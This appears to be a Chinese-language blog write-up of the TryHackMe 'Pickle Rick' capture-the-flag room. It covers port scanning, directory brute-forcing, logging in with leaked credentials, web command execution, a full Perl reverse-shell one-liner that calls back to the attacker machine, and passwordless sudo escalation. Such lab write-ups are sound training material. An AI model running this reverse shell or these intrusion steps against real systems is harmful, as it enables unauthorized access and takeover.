【THM】Pickle Rick练习
与本文相关的TryHackMe实验房间链接:TryHackMe | Room details
简介:瑞克和莫蒂 CTF。 帮助瑞克变回人类!
这个以瑞克和莫蒂为主题的挑战要求你利用网络服务器,找到三种材料来帮助瑞克制作他的药水,并把自己从腌黄瓜变回人类。
在此任务上部署虚拟机并浏览 Web 应用程序:10.10.203.203
第一题:瑞克需要的第一种材料是什么?
第一步
端口扫描
首先使用nmap对端口进行扫描
nmap -Pn -sV -T4 10.10.203.203
-Pn 将所有主机视为在在线,跳过主机发现的过程
-sV 显示端口对应的服务的服务版本
-T4 设置时间模板,表示扫描速度,数字越大速度越快,数字越小报警几率越低
可以发现目标开放了2个端口:22/tcp ssh服务、80/tcp http服务
第二步
访问网站
我们先进入网站看看界面
第三步
信息收集
我们先看看网页的源码里面会不会藏了什么东西:
可以看到瑞克把username留在了注释里面。
再优先查看robots.txt来看看这个网站会不会有什么见不得人的文件,发现了这个貌似没什么用的页面:
我们直接使用dirsearch工具扫描看看有没有其他的敏感文件/目录:
dirsearch -u 10.10.203.203 -i 200 -t 30
有点尴尬,TryHackMe给的攻击机上没有安装dirsearch,下了dirsearch也没对应的python脚本。为了不浪费时间,那么我们就用它有的gobuster工具来进行探测吧。
试了下攻击机的字典都不太行的样子,于是我们在网上找好一些的字典下载进攻击机:
https://github.com/TheKingOfDuck/fuzzDicts/tree/master/directoryDicts
gobuster dir -u http://10.10.203.203 -w Filenames_or_Directories_All.txt
出来了很多目录,排除403进制访问的,剩下的我们一个个进去查看:
/assets目录下出现了目录遍历漏洞,我们可以查看该目录下的所有文件,一番查找后我们什么也没发现……
robots.txt我们已经看过了,下载进入下一个:
这是瑞克的传送门的登录界面,我们之前得到了瑞克的账号,但是没有他的密码,接着看下一个:
当我们输入http://10.10.203.203/portal.php时页面跳转回了http://10.10.203.203/login.php,看来是必须要让我们登录才允许进入portal.php了。
第四步
猜测密码
回顾我们之前的内容,只有username被明确的指了出来:R1ckRul3s
唯一找到的字符串仅有robots.txt中的:Wubbalubbadubdub
尝试将“Wubbalubbadubdub”作为密码登录
终于!我们进入了portal.php,主页面有一个命令面板(Command Panel)
第五步
测试输入框
既然是命令面板,那我们输入一些linux的命令看看:
ls 用于显示指定目录下的内容
我们发现了其他字典中没有的敏感文件名,立刻打开,发现了恢复瑞克的第一个材料——使命必达先生的头发!
第二题:瑞克需要的第二种材料是什么?
第一步
利用上一题给出的线索
上一题还有一个新的文件clue.txt,让我们访问看看:
提示我们在文件系统中查找其他材料。
于是我们尝试在命令面板目录遍历,但是发现我们被限制了:
cd ../ 返回上层目录
| 管道符,表示执行完上一个命令后接着下一个命令
我们尝试访问portal.php页面中的其他链接,也被禁止访问了,现在好像陷入了僵局。
第二步
利用命令执行漏洞反弹shell
看了大佬的WP(【THM】Pickle Rick-练习 - Hekeatsll - 博客园 (cnblogs.com)),明白了现在我们要做的是利用命令执行漏洞反弹shell。
利用命令执行漏洞反弹shell介绍
shell相当于一个主机的权限。现在我们有了靶机一定的命令执行权限,我们攻击机打开一个监听端口,利用命令指定靶机将它的shell给我们攻击机,这样我们就有靶机的shell了~
我们先在攻击机终端建立监听器好接受shell:
根据security-cheatsheet/reverse-shell-cheatsheet: Reverse Shell Cheat Sheet (github.com)
里面写的一些笔记,我们可以使用以下命令进行shell反弹了:
perl -e 'use Socket;$i="10.10.128.164";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
(反弹shell命令还在研究中,待补充……)
执行了命令之后,我们监听的端口确实接收到了shell:
一番操作下我们得到了第二个材料:一滴杰瑞的眼泪!
第三题:瑞克需要的第三种材料是什么?
第一步
继续深入靶机
既然我们有了靶机的shell,那么自然而然地就应该去root用户目录下看看吧:
没这权限,那我们再看看我们有什么权限:
发现我们可以不使用密码使用任何命令!!!
第二步
♿爆!!!♿
一顿不用密码的sudo进行操作,我们得到了第三个材料:生物fleeb的汁液
补充
关于第二个flag和第三个flag的其他解法(参考【THM】Pickle Rick-练习 - Hekeatsll - 博客园 (cnblogs.com))
在拥有命令面板时,我们也可以查看我们拥有什么权限:
发现自己有不使用密码使用任何命令的power时,我们就可以尽情的爆了:
(在网站中cat和more一般的读取命令被禁止使用了,但less还可以)